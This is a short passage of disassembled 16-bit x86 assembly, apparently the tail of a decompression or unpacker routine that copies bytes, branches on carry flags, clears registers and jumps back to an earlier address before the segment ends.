rcl bh,1 ; Rotate thru carry
|
|
loop locloop_49 ; Loop if cx > 0
|
|
|
|
dec bh
|
|
loc_50:
|
|
mov cl,2
|
|
|
|
locloop_51:
|
|
mov al,es:[bx+di]
|
|
stosb ; Store al to es:[di]
|
|
loop locloop_51 ; Loop if cx > 0
|
|
|
|
loc_52:
|
|
call sub_14
|
|
jnc loc_53 ; Jump if carry=0
|
|
movsb ; Mov [si] to es:[di]
|
|
jmp short loc_52
|
|
loc_53:
|
|
call sub_14
|
|
lodsb ; String [si] to al
|
|
mov bh,0FFh
|
|
mov bl,al
|
|
jc loc_39 ; Jump if carry Set
|
|
call sub_14
|
|
jc loc_48 ; Jump if carry Set
|
|
cmp bh,bl
|
|
jne loc_50 ; Jump if not equal
|
|
xor bp,bp ; Zero register
|
|
xor di,di ; Zero register
|
|
xor si,si ; Zero register
|
|
xor dx,dx ; Zero register
|
|
xor bx,bx ; Zero register
|
|
xor ax,ax ; Zero register
|
|
jmp $-1480h
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|